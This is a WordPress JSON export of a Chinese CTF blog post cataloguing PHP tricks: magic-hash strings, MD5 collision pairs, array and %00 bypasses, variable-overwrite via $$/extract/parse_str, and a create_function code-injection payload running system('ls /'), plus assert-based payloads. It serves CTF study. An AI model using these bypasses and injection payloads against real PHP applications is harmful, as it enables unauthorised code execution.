{"id":86,"date":"2025-04-08T19:57:54","date_gmt":"2025-04-08T11:57:54","guid":{"rendered":"https:\/\/1nksy.cn\/?p=86"},"modified":"2025-04-08T19:57:54","modified_gmt":"2025-04-08T11:57:54","slug":"php%e7%89%b9%e6%80%a7%e7%9a%84%e5%b0%8ftricks%e6%8c%81%e7%bb%ad%e6%9b%b4%e6%96%b0%e4%b8%ad","status":"publish","type":"post","link":"https:\/\/1nksy.cn\/index.php\/2025\/04\/08\/php%e7%89%b9%e6%80%a7%e7%9a%84%e5%b0%8ftricks%e6%8c%81%e7%bb%ad%e6%9b%b4%e6%96%b0%e4%b8%ad\/","title":{"rendered":"php\u7279\u6027\u7684\u5c0ftricks(\u6301\u7eed\u66f4\u65b0\u4e2d…)"},"content":{"rendered":"\n

md5\u78b0\u649e<\/h2>\n\n\n\n

\u6709\u7684ctf\u9898\u4e2d\u4f1a\u51fa\u73b0\u4e24\u4e2a\u53c2\u6570\u4e0d\u540c\uff0c\u4f46\u8981\u6c42md5\u503c\u4e0d\u540c\u4e4b\u7c7b\u60c5\u51b5\uff0c\u8fd9\u65f6\u5019\u5c31\u9700\u8981\u4e00\u4e9b\u65b9\u6cd5\u6765\u7ed5\u8fc7\uff0c\u4ece\u800c\u6ee1\u8db3\u6761\u4ef6\u3002<\/p>\n\n\n\n

\"image-20250104185458222\"\/<\/div><\/figure>\n\n\n\n

\u5f3a\u5f31\u7c7b\u578b\u6bd4\u8f83<\/h3>\n\n\n\n

\u5f3a\u6bd4\u8f83<\/h4>\n\n\n\n

===\uff1a\u5148\u5224\u65ad\u4e24\u79cd\u5b57\u7b26\u4e32\u7684\u7c7b\u578b\u662f\u5426\u76f8\u7b49\uff0c\u518d\u6bd4\u8f83<\/p>\n\n\n\n

\u5f31\u6bd4\u8f83<\/h4>\n\n\n\n

==\uff1a\u5148\u5c06\u5b57\u7b26\u4e32\u7c7b\u578b\u8f6c\u5316\u6210\u76f8\u540c\uff0c\u518d\u6bd4\u8f83<\/p>\n\n\n\n

\u7ed5\u8fc7<\/h3>\n\n\n\n

md5\u7206\u7834<\/h4>\n\n\n\n

\u7ed9\u51famd5\u52a0\u5bc6\u540e\u7684\u51e0\u4f4d\uff0c\u53ef\u4ee5\u8fdb\u884c\u7206\u7834<\/p>\n\n\n\n

import hashlib
 
 
def md5_enc(s):
    m = hashlib.md5()
    m.update(str(s).encode('utf-8'))
    return m.hexdigest()
 
 
print(md5_enc('114514'))
if __name__ == '__main__':
    result = []
    for i in range(0, 9999999999):
        i = str(i)
        enc = md5_enc(i)
        print(i + \" md5 is \" + enc)
        # md5\u503c\u524d\u4e24\u4f4d\u4e3a0e
        if enc[:6] == \"c4d038\":
            print(enc)
            break<\/pre>\n\n\n\n
\u5f31\u6bd4\u8f83<\/h4>\n\n\n\n
md5($a)==md5($b) & $a != $b<\/p>\n\n\n\n
0e\u7ed5\u8fc7<\/h5>\n\n\n\n
php\u4f1a\u628a\u59821e1\uff0c0e2\u7b49\u5b57\u7b26\u4e32\u8bc6\u522b\u4e3a\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c1e1\u4f1a\u8bc6\u522b\u4e3a10\uff0c0e2\u4f1a\u8bc6\u522b\u4e3a0\uff0c\u6240\u4ee5\u5728\u5f31\u6bd4\u8f83\u65f6\uff0c\u82e5\u4f20\u5165\u5185\u5bb9md5\u52a0\u5bc6\u540e\u4e3a0e\u5f00\u5934\u7684\u5b57\u7b26\u4e32\u65f6\uff0c\u4fbf\u4f1a\u88ab\u8bc6\u522b\u4e3a0\uff0c\u4ece\u800c\u7ed5\u8fc7<\/p>\n\n\n\n
\u4e00\u4e9bmd5\u52a0\u5bc6\u540e\u4e3a0e\u683c\u5f0f\u7684\u5b57\u7b26\u4e32<\/h6>\n\n\n\n
QNKCDZO
0e830400451993494058024219903391
 
s878926199a
0e545993274517709034328855841020
 
s155964671a
0e342768416822451524974117254469
 
s214587387a
0e848240448830537924465865611904
 
s214587387a
0e848240448830537924465865611904
 
s878926199a
0e545993274517709034328855841020
 
s1091221200a
0e940624217856561557816327384675
 
s1885207154a
0e509367213418206700842008763514
 
s1502113478a
0e861580163291561247404381396064
 
s1885207154a
0e509367213418206700842008763514
\u200b
240610708
0e462097431906509019562988736854<\/pre>\n\n\n\n
\u4e24\u6b21md5\u52a0\u5bc6\u540e\u4e3a0e\u5f00\u5934\u7684\u5b57\u7b26\u4e32<\/h6>\n\n\n\n
7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk<\/pre>\n\n\n\n
\u6570\u7ec4\u7ed5\u8fc7<\/h5>\n\n\n\n
\u5982\u679c\u4f20\u5165\u7684\u53c2\u6570\u4e3a\u6570\u7ec4\u5219md5\u540e\u7684\u8fd4\u56de\u503c\u4e3aNULL,\u82e5\u4e24\u4e2a\u53c2\u6570\u90fd\u662f\u6570\u7ec4\uff0c\u5219NULL=NULL\uff0c\u5224\u65ad\u4e3atrue<\/p>\n\n\n\n
md5\u540e\u503c\u4e0d\u53d8\u7684\u5b57\u7b26\u4e32<\/h5>\n\n\n\n
$a=md5($a)<\/p>\n\n\n\n
0e215962017 0e291242476940776845150308577824<\/p>\n\n\n\n
0e1284838308 0e708279691820928818722257405159<\/p>\n\n\n\n
0e1137126905 0e291659922323405260514745084877<\/p>\n\n\n\n
0e807097110 0e318093639164485566453180786895<\/p>\n\n\n\n
0e730083352 0e870635875304277170259950255928<\/p>\n\n\n\n
\u5f3a\u6bd4\u8f83<\/h4>\n\n\n\n
1.\u8fd8\u662f\u53ef\u4ee5\u7528\u6570\u7ec4\u7ed5\u8fc7<\/p>\n\n\n\n
2.\u4e24\u4e32\u4e0d\u4e00\u6837\u7684\u5b57\u7b26\uff0c\u52a0\u5bc6\u7ed3\u679c\u5374\u76f8\u540c\uff1a<\/p>\n\n\n\n
$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2<\/p>\n\n\n\n
$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2<\/p>\n\n\n\n
sha1<\/h2>\n\n\n\n
\u57fa\u672c\u4e0emd5\u76f8\u4f3c<\/p>\n\n\n\n
\u4e00\u5bf9sha1\u52a0\u5bc6\u540e\u4e3a\u79d1\u5b66\u8ba1\u6570\u6cd5\u7684\u5b57\u7b26\u4e32<\/p>\n\n\n\n
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
aa3OFF9m
0e36977786278517984959260394024281014729
0e1290633704
0e19985187802402577070739524195726831799
aaroZmOk
0e66507019969427134894567494305185566735<\/pre>\n\n\n\n
\u6b63\u5219\u5339\u914dpreg_match()<\/h2>\n\n\n\n
php\u4e2d\u7684\u6b63\u5219\u5339\u914d\u51fd\u6570\u4e3apreg_match\uff08\uff09<\/p>\n\n\n\n
\u5982\uff1apreg_match(“\/php\/i”, $a),\u4ece$a\u4e2d\u627e\u5bfb\u5b57\u7b26\u4e32\uff1b\u5176\u4e2dphp\u662f\u5339\u914d\u7684\u5b57\u7b26\u4e32\uff0c\/\/i\u662f\u5339\u914d\u6a21\u5f0f<\/p>\n\n\n\n
\u7ed5\u8fc7<\/h3>\n\n\n\n
\u52a0\u53f7\u7ed5\u8fc7<\/h4>\n\n\n\n
\u5728\u8981\u4f20\u7684\u5185\u5bb9\u524d\u52a0\u4e0a+\uff08%2B\uff09<\/p>\n\n\n\n
\u56de\u6eaf\u7ed5\u8fc7<\/h4>\n\n\n\n
\u53d8\u91cf\u8986\u76d6<\/h2>\n\n\n\n
\u53d8\u91cf\u8986\u76d6\u5c31\u662f\u901a\u8fc7\u5916\u90e8\u8f93\u5165\u5c06\u67d0\u4e2a\u53d8\u91cf\u7684\u503c\u7ed9\u8986\u76d6\u6389\u3002 \u5c06\u81ea\u5b9a\u4e49\u7684\u53c2\u6570\u503c\u66ff\u6362\u6389\u539f\u6709\u53d8\u91cf\u503c\u7684\u60c5\u51b5\u5c31\u662f\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\u3002<\/p>\n\n\n\n
foreach<\/h3>\n\n\n\n
1.\u904d\u5386\u7ed9\u5b9a\u7684 \u6570\u7ec4\u8bed\u53e5 array_expression \u6570\u7ec4\u3002\u6bcf\u6b21\u5faa\u73af\u4e2d\uff0c\u5f53\u524d\u5355\u5143\u7684\u503c\u88ab\u8d4b\u7ed9 $value \u5e76\u4e14\u6570\u7ec4\u5185\u90e8\u7684\u6307\u9488\u5411\u524d\u79fb\u4e00\u6b65<\/p>\n\n\n\n
foreach(array_expression as $value)<\/code><\/p>\n\n\n\n
2.\u540c\u4e0a\uff0c\u540c\u65f6\u5f53\u524d\u5355\u5143\u7684\u952e\u540d\u4e5f\u4f1a\u5728\u6bcf\u6b21\u5faa\u73af\u4e2d\u88ab\u8d4b\u7ed9\u53d8\u91cf $key\u3002<\/p>\n\n\n\n
foreach(array_expression as$key=> $value)<\/code><\/p>\n\n\n\n
\u5bfc\u81f4\u53d8\u91cf\u8986\u76d6\u7684\u539f\u56e0<\/h4>\n\n\n\n
$$\u5bfc\u81f4\u7684\u53d8\u91cf\u8986\u76d6<\/h5>\n\n\n\n
php\u4e2d$$\u8868\u793a\u7684\u662f\u4e00\u4e2a\u53ef\u53d8\u53d8\u91cf\u83b7\u53d6\u4e86\u4e00\u4e2a\u666e\u901a\u53d8\u91cf\u7684\u503c\u4f5c\u4e3a\u8fd9\u4e2a\u53ef\u53d8\u53d8\u91cf\u7684\u53d8\u91cf\u540d\u3002<\/p>\n\n\n\n
$a=array(\"a\",\"b\",\"c\",\"d\");
foreach($a as $key=>$value){\/\/\u952e\u540d\u8d4b\u7ed9$key,\u952e\u503c\u8d4b\u7ed9$value
  $$key=$value;\/\/\u952e\u503c\u53c8\u8d4b\u7ed9$$key
}
print_r($$key);
print_r($value);
print_r($key);
?><\/pre>\n\n\n\n
\u4f8b\u9898<\/p>\n\n\n\n
\u8981\u8f93\u51faflag\uff0c\u5c31\u8981\u4f7fflag=flag<\/p>\n\n\n\n
\u4f46\u4e00\u5f00\u59cb\u7684if\u8bed\u53e5\u8fdb\u884c\u4e86 \u9650\u5236\uff0c\u5bfc\u81f4\u4f20\u53c2\u4e0d\u80fd\u76f4\u63a5\u4f20\u5165flag<\/p>\n\n\n\n
\u6240\u4ee5\u5229\u7528\u7b2c\u4e8c\u4e2aforeach\u51fd\u6570\uff0c\u4f20\u51651=flag&flag=1<\/p>\n\n\n\n
\u8fc7\u7a0b<\/p>\n\n\n\n
$1=$flag
$flag=$1,$1=flag
$flag=$1=flag<\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8bf4\u90fd\u662f\u5047\u8c61\uff0c\u6700\u540e\u5728\u6e90\u7801\u627e\u5230flag<\/p>\n\n\n\n
\"image-20250107150921774\"\/<\/div><\/figure>\n\n\n\n
extract()\u51fd\u6570\u5bfc\u81f4\u7684\u53d8\u91cf\u8986\u76d6\u95ee\u9898<\/h4>\n\n\n\n
\u8be5\u51fd\u6570\u4f7f\u7528\u6570\u7ec4\u952e\u540d\u4f5c\u4e3a\u53d8\u91cf\u540d\uff0c\u4f7f\u7528\u6570\u7ec4\u952e\u503c\u4f5c\u4e3a\u53d8\u91cf\u503c\u3002\u9488\u5bf9\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\uff0c\u5c06\u5728\u5f53\u524d\u7b26\u53f7\u8868\u4e2d\u521b\u5efa\u5bf9\u5e94\u7684\u4e00\u4e2a\u53d8\u91cf\u3002<\/p>\n\n\n\n
\"image-20250107151835425\"\/<\/div><\/figure>\n\n\n\n
eg:<\/p>\n\n\n\n
<?php 
$arr = array('name' => 'x1', 'age' => '20', 'address' => 'Henan');
\u200b
extract($arr);
\u200b
echo($name) . \"\\n\";
echo($age) . \"\\n\";
echo($address) . \"\\n\";
?>
\u8f93\u51fa\u7ed3\u679c
x1
20
adress<\/pre>\n\n\n\n
parse_str\u51fd\u6570\u5bfc\u81f4\u7684\u53d8\u91cf\u8986\u76d6\u95ee\u9898<\/h4>\n\n\n\n
parse_str() \u51fd\u6570\u7528\u4e8e\u628a\u67e5\u8be2\u5b57\u7b26\u4e32\u89e3\u6790\u5230\u53d8\u91cf\u4e2d\uff0c\u5982\u679c\u6ca1\u6709array \u53c2\u6570\uff0c\u5219\u7531\u8be5\u51fd\u6570\u8bbe\u7f6e\u7684\u53d8\u91cf\u5c06\u8986\u76d6\u5df2\u5b58\u5728\u7684\u540c\u540d\u53d8\u91cf<\/p>\n\n\n\n
eg\uff1a<\/p>\n\n\n\n
a=123\uff1b
\u200b
$id=$_GET['id'];
\u200b
@parse_str($id);
\u200b
echo $a;
\u200b
id=a=456;
\u200b
echo $a;
\u200b
\u8f93\u51fa\u7ed3\u679c\uff1a
123
\u200b
456<\/pre>\n\n\n\n
create_function\u6784\u9020\u533f\u540d\u51fd\u6570<\/h2>\n\n\n\n
\u6839\u636e\u4f20\u9012\u7684\u53c2\u6570\u521b\u5efa\u533f\u540d\u51fd\u6570\uff0c\u5e76\u672a\u5176\u8fd4\u56de\u552f\u4e00\u540d\u79f0(php7.2.0\u4ee5\u540e\u4e0d\u80fd\u4f7f\u7528)<\/p>\n\n\n\n
\u8bed\u6cd5<\/h3>\n\n\n\n
create_function(string $args,string $code)
string $args \u58f0\u660e\u7684\u51fd\u6570\u53d8\u91cf\u90e8\u5206
\u200b
string $code \u6267\u884c\u7684\u65b9\u6cd5\u4ee3\u7801\u90e8\u5206<\/pre>\n\n\n\n
\u7528\u6cd5<\/h3>\n\n\n\n
\u4f7f\u7528\u65f6\u88ab\u5f53\u4f5c\u51fd\u6570\u7684\u53c2\u6570\u4f20\u5165create_function,\u6267\u884c\u7684\u53c2\u6570\u4f20\u5165\uff1a;}\u6267\u884c\u7684\u547d\u4ee4\/\/<\/p>\n\n\n\n
;}\u7528\u6765\u95ed\u5408\u524d\u9762\u7684\u4ee3\u7801\uff0c\/\/\u7528\u6765\u6ce8\u91ca\u540e\u9762\u7684\u4ee3\u7801<\/p>\n\n\n\n
eg\uff1a<\/p>\n\n\n\n
\u524d\u9762\u7684\u4ee3\u7801\uff1b
\u200b
}
\u200b
\u6267\u884c\u7684\u547d\u4ee4\/\/\u6ce8\u91ca\u540e\u9762\u7684\u5185\u5bb9<\/pre>\n\n\n\n
\u4f8b\u9898<\/h3>\n\n\n\n
\"image-20250107160159421\"\/<\/div><\/figure>\n\n\n\n
\u6b63\u5219\u5339\u914dshaw\u51fd\u6570\uff0c\u8981\u6c42\u4e3a\u5c0f\u5199\u5b57\u6bcd\u548c\u4e0b\u5212\u7ebf<\/p>\n\n\n\n
\u6b63\u5219\u5339\u914droot\u51fd\u6570\uff0c\u8fc7\u6ee4\u4e86\u4e00\u5806\u4e1c\u897f<\/p>\n\n\n\n
\u5982\u679c\u8fd9\u4e24\u4e2a\u6761\u4ef6\u90fd\u6ee1\u8db3\uff0c\u5219\u8c03\u7528shaw\u8fd9\u4e2a\u51fd\u6570\uff0c\u5e76\u4f20\u5165\u4e24\u4e2a\u53c2\u6570\u7a7a\u5b57\u7b26\u548croot<\/p>\n\n\n\n
\u5c06shaw\u4f5c\u4e3a\u51fd\u6570\uff0c\u6784\u9020\u533f\u540d\u51fd\u6570create_function<\/p>\n\n\n\n
playload\uff1a?root=;}system(‘ls \/’);\/*\uff0cPOST\uff1ashaw=create_function<\/p>\n\n\n\n
\u5176\u4e2d;}\u7528\u6765\u95ed\u5408\u524d\u9762\u7684\u8bed\u53e5\uff0c\/*\u7528\u6765\u6ce8\u91ca\u6389\u540e\u9762\u7684\u8bed\u53e5\uff08\u7528\/\/\u4e5f\u53ef\u4ee5\uff09<\/p>\n\n\n\n
\"image-20250107153618638\"\/<\/div><\/figure>\n\n\n\n
\u8fc7\u6ee4\u4e86cat\u548ctac\uff0c\u4f7f\u7528sort\u8bfb\u53d6\uff0c\u628aso\u4e5f\u8fc7\u6ee4\u4e86\uff0c\u4f7f\u7528more<\/p>\n\n\n\n
\"image-20250107153912073\"\/<\/div><\/figure>\n\n\n\n
gettext\u62d3\u5c55\u7684\u4f7f\u7528<\/h2>\n\n\n\n
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
\u200b
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo \"\u55ef\u54fc\uff1f\";
}
function check($str){
    return !preg_match('\/[0-9]|[a-z]\/i', $str);
}
\u200b<\/pre>\n\n\n\n
\u5728\u5f00\u542f\u8be5\u6269\u5c55\u540e\uff0c_()\u7b49\u6548\u4e8egettext(),\u6b63\u597d\u9488\u5bf9\u8fc7\u6ee4\u64cd\u4f5c\u4e2d\u5bf9\u5b57\u6bcd\u6570\u5b57\u7684\u8fc7\u6ee4,call_user_func(\u2019_<\/em>\u2019,\u2018phpinfo\u2019) \u8fd4\u56de\u7684\u5c31\u662fphpinfo<\/pre>\n\n\n\n
<?php
echo gettext(\"phpinfo\");
\u7ed3\u679c  phpinfo
\u200b
echo _(\"phpinfo\");
\u7ed3\u679c phpinfo
\u200b<\/pre>\n\n\n\n
php\u4e2d\u53c2\u6570\u7684\u975e\u6cd5\u53c2\u6570\u540d\u4f20\u53c2\u95ee\u9898<\/h2>\n\n\n\n
php\u4e2d\u4f1a\u628a\u53c2\u6570\u540d\u4e2d\u7684\u7279\u6b8a\u5b57\u7b26\u8bc6\u522b\u4e3a\u5176\u4ed6\u5b57\u7b26\uff08\u7248\u672c\u5c0f\u4e8e8\uff09<\/p>\n\n\n\n
\u53c2\u6570\u4e2d\u7684\u70b9\u548c\u7a7a\u683c\u4f1a\u88ab\u8bc6\u522b\u4e3a\u4e0b\u5212\u7ebf\uff0c\u4e2d\u62ec\u53f7\u4f1a\u88ab\u8bc6\u522b\u4e3a\u4e0b\u5212\u7ebf\uff0c\u4e0b\u5212\u7ebf\u4f1a\u88ab\u8bc6\u522b\u4e3a\u4e2d\u62ec\u53f7<\/p>\n\n\n\n
\u5982\u679c\u6709\u591a\u4e2a[,\u53ea\u4f1a\u6539\u7b2c\u4e00\u4e2a<\/p>\n\n\n\n
||\u7684\u4f18\u5148\u7ea7\u4f4e\u4e8e&&<\/h2>\n\n\n\n
\u6240\u4ee5\u5bf9\u4e8eif(($code === mt_rand(1,0x36D) && $password === $flag )||( $username ===\"admin\")){<\/code><\/p>\n\n\n\n
\u53ea\u9700\u8981\u6ee1\u8db3$username=admin<\/p>\n\n\n\n
$_SERVER[‘argv’]<\/h2>\n\n\n\n
$_SERVER[‘argv’]\uff1a<\/p>\n\n\n\n
1\u3001cli\u6a21\u5f0f\uff08\u547d\u4ee4\u884c\uff09\u4e0b<\/p>\n\n\n\n
\u7b2c\u4e00\u4e2a\u53c2\u6570$_SERVER<\/em>['argv']<\/em>[0]\u662f\u811a\u672c\u540d\uff0c\u5176\u4f59\u7684\u662f\u4f20\u9012\u7ed9\u811a\u672c\u7684\u53c2\u6570<\/em><\/pre>\n\n\n\n
2\u3001web\u7f51\u9875\u6a21\u5f0f\u4e0b<\/p>\n\n\n\n
\u5728web\u9875\u6a21\u5f0f\u4e0b\u5fc5\u987b\u5728php.ini\u5f00\u542fregister_argc_argv\u914d\u7f6e\u9879
\u200b
\u8bbe\u7f6eregister_argc_argv = On(\u9ed8\u8ba4\u662fOff)\uff0c\u91cd\u542f\u670d\u52a1\uff0c$_SERVER[\u2018argv\u2019]\u624d\u4f1a\u6709\u6548\u679c<\/em>
\u200b
\u8fd9\u65f6\u5019\u7684$_SERVER<\/em>[\u2018argv\u2019]<\/em>[0] = $_<\/em>SERVER[\u2018QUERY_STRING\u2019]
\u200b
$argv,$argc\u5728web\u6a21\u5f0f\u4e0b\u4e0d\u9002\u7528<\/pre>\n\n\n\n
$_SERVER[\u2018QUERY_STRING\u2019]\u76f8\u5f53\u4e8e\u83b7\u53d6\uff1f\u540e\u7684\u5185\u5bb9<\/p>\n\n\n\n
\u5229\u7528\u8fd9\u4e2a$a\u6765\u89e3\u9898\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528$_SERVER\u53d8\u91cf\u7684\u4e00\u4e9b\u7279\u6027\u5e76\u4e14\u7ed3\u5408parse_str\u6765\u6784\u9020payload\uff1a<\/p>\n\n\n\n
GET\u65b9\u6cd5\uff1a
?a=1+fl0g=flag_give_me
POST\u65b9\u6cd5\uff1a
fun=parse_str($a[1])
\/\/1\u4e3a\u6570\u7ec4\u7684\u7b2c\u4e8c\u4e2a\u5143\u7d20\u5373fl0g=flag_give_me<\/pre>\n\n\n\n
\u4e5f\u53ef\u4ee5\u7528assert\uff1a<\/p>\n\n\n\n
GET\u65b9\u6cd5\uff1a
?$fl0g=flag_give_me
POST\u65b9\u6cd5\uff1a
fun=assert($a[0])<\/pre>\n\n\n\n
ereg\u51fd\u6570\u7684\u622a\u65ad\u6f0f\u6d1e<\/h2>\n\n\n\n
ereg\u51fd\u6570<\/h3>\n\n\n\n
\u641c\u7d22\u7531\u6307\u5b9a\u7684\u5b57\u7b26\u4e32\u4f5c\u4e3a\u7531\u6a21\u5f0f\u6307\u5b9a\u7684\u5b57\u7b26\u4e32\uff0c\u5982\u679c\u53d1\u73b0\u6a21\u5f0f\u5219\u8fd4\u56detrue\uff0c\u5426\u5219\u8fd4\u56defalse\u3002\u641c\u7d22\u5bf9\u4e8e\u5b57\u6bcd\u5b57\u7b26\u662f\u533a\u5206\u5927\u5c0f\u5199\u7684\u3002<\/p>\n\n\n\n
\u8bed\u6cd5<\/h4>\n\n\n\n
ereg\uff08$pattern,$string[,$regs]\uff09<\/p>\n\n\n\n
$patten:\u5339\u914d\u6a21\u5f0f<\/p>\n\n\n\n
\u5982\uff1a^[a-zA-Z]+$\u5339\u914d\u5927\u5c0f\u5199\u5b57\u6bcd<\/p>\n\n\n\n
$string\uff1a\u8981\u5339\u914d\u7684\u5b57\u7b26\u4e32<\/p>\n\n\n\n
$regs:\u8981\u5b58\u5165\u7684\u6570\u7ec4\uff0c\u5982\u679c\u5339\u914d\u5230\u5b57\u7b26\u4e32\u5219\u5339\u914d\u5230\u8be5\u6570\u7ec4<\/p>\n\n\n\n
\u7ed5\u8fc7<\/h3>\n\n\n\n
\u5229\u7528\u6570\u7ec4\u7ed5\u8fc7<\/h4>\n\n\n\n
ereg\uff08\uff09\u53ea\u80fd\u5904\u7406\u5b57\u7b26\u4e32\uff0c\u9047\u5230\u6570\u7ec4\u4f1a\u8fd4\u56denull\uff0cnull\uff01==false<\/p>\n\n\n\n
\u53ef\u4ee5\u7ed5\u8fc7ereg (\"^[a-zA-Z]+$\", $_GET['c'])===FALSE<\/code><\/p>\n\n\n\n
%00\u622a\u65ad\u7ed5\u8fc7\u6b63\u5219\u5339\u914d<\/h4>\n\n\n\n
ereg\uff08\uff09\u51fd\u6570\u8bfb\u5230%00\u65f6\uff0c\u5c31\u622a\u6b62\u4e86\uff08get\u8bf7\u6c42\u65f6\u9ed8\u8ba4\u4f1a\u8fdb\u884c\u4e00\u6b21URL\u89e3\u7801\uff0c\u7531\u4e8e%00\u662f\u4e00\u4e2a\u4e0d\u53ef\u89c1\u5b57\u7b26\uff0c\u540e\u9762\u7684\u5185\u5bb9\u5c31\u88ab\u622a\u65ad\u4e86\uff09<\/p>\n\n\n\n
\u5229\u7528\u6570\u7ec4\u6574\u5f62\u6ea2\u51fa\u7ed5\u8fc7\u8d4b\u503c\u6c38\u771f\u5224\u65ad<\/h2>\n\n\n\n
\"image-20250120184655407\"\/<\/div><\/figure>\n\n\n\n
\u8be5\u9898\u7684\u5224\u65ad\u4e3a=\uff0c\u662f\u8d4b\u503c\uff0c\u4f7f\u5176\u4e00\u76f4\u4e3a\u771f\uff0c\u4e0d\u80fd\u8f93\u51faflag\uff0c\u4f46\u82e5\u662f\u7ed90\u4f20\u5176\u4e0b\u6807\u6700\u5927\u6570\uff0c\u5c31\u4f1a\u4f7f\u5176\u6ea2\u51fa\uff0c\u65e0\u6cd5\u8d4b\u503c<\/p>\n\n\n\n
\u539f\u7406<\/h3>\n\n\n\n
\u7d22\u5f15\u6570\u7ec4\u6700\u5927\u4e0b\u6807\u7b49\u4e8e\u6700\u5927int\u6570\uff0c\u5bf9\u5176\u8ffd\u52a0\u4f1a\u5bfc\u81f4\u6574\u578b\u6570\u6ea2\u51fa\uff0c\u8fdb\u800c\u5f15\u8d77\u8ffd\u52a0\u5931\u8d25(\u4e0b\u4e00\u6b21\u81ea\u52a8\u8d4b\u503c\u5c31\u4f1a\u7ed92^63\u8d4b\u503c\uff0c\u4ece\u800c\u4ea7\u751f\u9519\u8bef)<\/p>\n\n\n\n
int\u8303\u56f4\uff1a32\u4f4d\u6700\u5927\u662f2^31-1\uff0c64\u4f4d\u662f2^63-1,\u5c31\u662f2147483647\u4e0e9223372036854775807<\/p>\n\n\n\n
>\/dev\/null 2>&1\u91cd\u5b9a\u5411\u7ed1\u5b9a\u7ed5\u8fc7<\/h2>\n\n\n\n
shell\u91cd\u5b9a\u5411<\/h3>\n\n\n\n
\u628a\u672c\u6765\u5df2\u7ecf\u9ed8\u8ba4\u7684\uff0c\u786e\u5b9a\u7684\u8f93\u5165\u8f93\u51fa\u7ed9\u91cd\u65b0\u5b9a\u4f4d\u5230\u4f60\u60f3\u8981\u7684\u5730\u65b9<\/p>\n\n\n\n
>\u548c>><\/h3>\n\n\n\n
\u8fd9\u4e24\u4e2a\u90fd\u662f \u91cd\u5b9a\u5411\u7b26\u53f7\uff0c\u7b26\u53f7\u7684\u5de6\u8fb9\u8868\u793a\u6587\u4ef6\u63cf\u8ff0\u7b26\u6216\u8005\u8981\u91cd\u5b9a\u4f4d\u7684\u5185\u5bb9\uff0c\u5982\u679c\u4e0d\u5199\u9ed8\u8ba4\u662f\u6587\u4ef6\u63cf\u8ff0\u7b261\uff0c\u5373\u6807\u51c6\u8f93\u51fa\uff1b\u53f3\u8fb9\u53ef\u4ee5\u662f\u6587\u4ef6\u4e5f\u53ef\u4ee5\u662f\u8bbe\u5907\u3002 1.\u5f53\u4f7f\u7528>\u65f6\uff0c\u5982\u679c\u53f3\u8fb9\u7684\u6587\u4ef6\u5b58\u5728\u5219\u4f1a\u5148\u5220\u9664\u5728\u521b\u5efa\uff0c\u5982\u679c\u53f3\u8fb9\u7684\u6587\u4ef6\u4e0d\u5b58\u5728\u5219\u521b\u5efa\uff1b 2.\u5f53\u4f7f\u7528>>\u65f6\uff0c\u8868\u793a\u8ffd\u52a0\uff0c\u53f3\u8fb9\u7684\u6587\u4ef6\u4e0d\u4f1a\u88ab\u5220\u9664\uff0c\u65b0\u7684\u5185\u5bb9\u4f1a\u6dfb\u52a0\u5230\u6587\u4ef6\u7684\u672b\u5c3e\u3002<\/p>\n\n\n\n
\u6807\u51c6\u8f93\u5165\u3001\u6807\u51c6\u8f93\u51fa\u3001\u6807\u51c6\u9519\u8bef\u8f93\u51fa<\/h3>\n\n\n\n
\u6211\u4eec\u6267\u884c\u4e00\u4e2ashell\u547d\u4ee4\u884c\u65f6\u901a\u5e38\u4f1a\u81ea\u52a8\u6253\u5f00\u4e09\u4e2a\u6807\u51c6\u6587\u4ef6\uff0c\u5373\u6807\u51c6\u8f93\u5165\u6587\u4ef6\uff08stdin\uff09\uff0c\u901a\u5e38\u5bf9\u5e94\u7ec8\u7aef\u7684\u952e\u76d8\uff1b\u6807\u51c6\u8f93\u51fa\u6587\u4ef6\uff08stdout\uff09\u548c\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u6587\u4ef6\uff08stderr\uff09\u3002Linux\u7ec8\u7aef\u75282\u8868\u793a\u6807\u51c6\u9519\u8bef\uff0c1\u8868\u793a\u6807\u51c6\u8f93\u51fa\uff0c0\u8868\u793a\u6807\u51c6\u8f93\u5165\u3002<\/p>\n\n\n\n
\u6807\u51c6\u8f93\u51fa\u6587\u4ef6\u548c\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u6587\u4ef6\u90fd\u5bf9\u5e94\u7ec8\u7aef\u7684\u5c4f\u5e55\u3002\u8fdb\u7a0b\u5c06\u4ece\u6807\u51c6\u8f93\u5165\u6587\u4ef6\u4e2d\u5f97\u5230\u8f93\u5165\u6570\u636e\uff0c\u5c06\u6b63\u5e38\u8f93\u51fa\u6570\u636e\u8f93\u51fa\u5230\u6807\u51c6\u8f93\u51fa\u6587\u4ef6\uff0c\u800c\u5c06\u9519\u8bef\u4fe1\u606f\u9001\u5230\u6807\u51c6\u9519\u8bef\u6587\u4ef6\u4e2d\u3002<\/p>\n\n\n\n
\u603b\u7ed3\uff1a\u6267\u884c\u4e00\u4e2ashell\u547d\u4ee4\u4f1a\u6709\u8f93\u51fa\uff1a\u6807\u51c6\u8f93\u51fa\u6216\u8005\u9519\u8bef\u8f93\u51fa\uff0c\u5bf9\u5e94\u7684\u6570\u503c\u4e3a1\uff0c2\u3002\u5982\u679c\u6211\u4eec\u770b\u89c11\uff0c\u5c31\u8981\u660e\u767d\u6307\u4ee3\u6807\u51c6\u8f93\u51fa\u4fe1\u606f\uff0c\u770b\u89c12\u660e\u767d\u6307\u4ee3\u8f93\u51fa\u9519\u8bef\u4fe1\u606f\u3002<\/p>\n\n\n\n
>\/dev\/null 2>&1<\/h3>\n\n\n\n
